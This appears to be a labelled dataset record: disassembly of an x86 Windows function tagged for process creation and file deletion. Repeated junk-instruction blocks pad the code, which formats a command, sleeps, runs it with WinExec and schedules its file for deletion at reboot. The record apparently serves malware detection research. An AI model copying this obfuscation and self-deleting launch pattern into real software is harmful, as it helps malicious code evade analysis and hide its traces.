Function at 0x401ea0
Capabilities:
Create process on windows
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405e58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10c
push ebx
push esi
push edi
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
lea ecx, [ebp - 0x10]
call fcn.00405966
mov edi, dword [0x4071b4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 4], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
lea ecx, [ebp - 0x118]
push ecx
call fcn.004037d0
add esp, 4
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
lea edx, [ebp - 0x118]
lea eax, [ebp - 0x10]
push edx
push 0x407020
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
push ecx
lea edx, [ebp - 0x10]
mov ecx, esp
mov dword [ebp - 0x14], esp
push edx
call sub.MFC42.DLL_CString::CString_1
call fcn.00403740
add esp, 4
test eax, eax
je 0x4027c6
nop
nop
nop
nop
nop
nop
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
push eax
mov edi, edi
pop eax
push eax
inc eax
inc eax
sub eax, 0x3a
pop eax
nop
nop
nop
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
mov ecx, dword [ebp - 0x10]
push 4
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret